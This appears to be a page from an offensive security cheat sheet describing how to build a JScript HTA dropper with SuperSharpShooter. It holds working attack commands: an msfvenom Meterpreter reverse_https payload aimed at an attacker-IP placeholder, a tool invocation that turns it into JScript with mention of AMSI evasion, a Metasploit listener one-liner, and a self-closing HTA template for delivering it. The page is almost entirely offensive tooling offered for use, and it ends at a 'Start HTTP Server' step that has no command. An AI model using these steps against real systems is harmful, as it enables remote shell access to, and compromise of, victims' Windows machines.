githubEdit

JScript from SuperSharpShooter

1) Download project

git clone https://github.com/ScriptIdiot/SuperSharpShooter

2) Craft payload

sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=[ATTACKER_IP] LPORT=[PORT] -f raw -o shell.txt

3) Run the tool to obtain the .js code, other options like AMSI evasion are available in the documentation of the GitHub repo

./SuperSharpShooter.py --stageless --dotnetver 4 --rawscfile shell.txt --payload js --output payload

4) Start listener

sudo msfconsole -q -x "use multi/handler; set payload windows/x64/meterpreter/reverse_https; set lhost [ATTACKR_IP]; set lport [PORT]; exploit"

5) Create an .hta file, and copy all the contents of the payload.js file into the below template

<html>
<head>
<script language="JScript">
// INSERT CODE HERE
</script>
</head>
<body>

<script language="JScript">
self.close();
</script>

</body>
</html>

6) Start HTTP Server

Last updated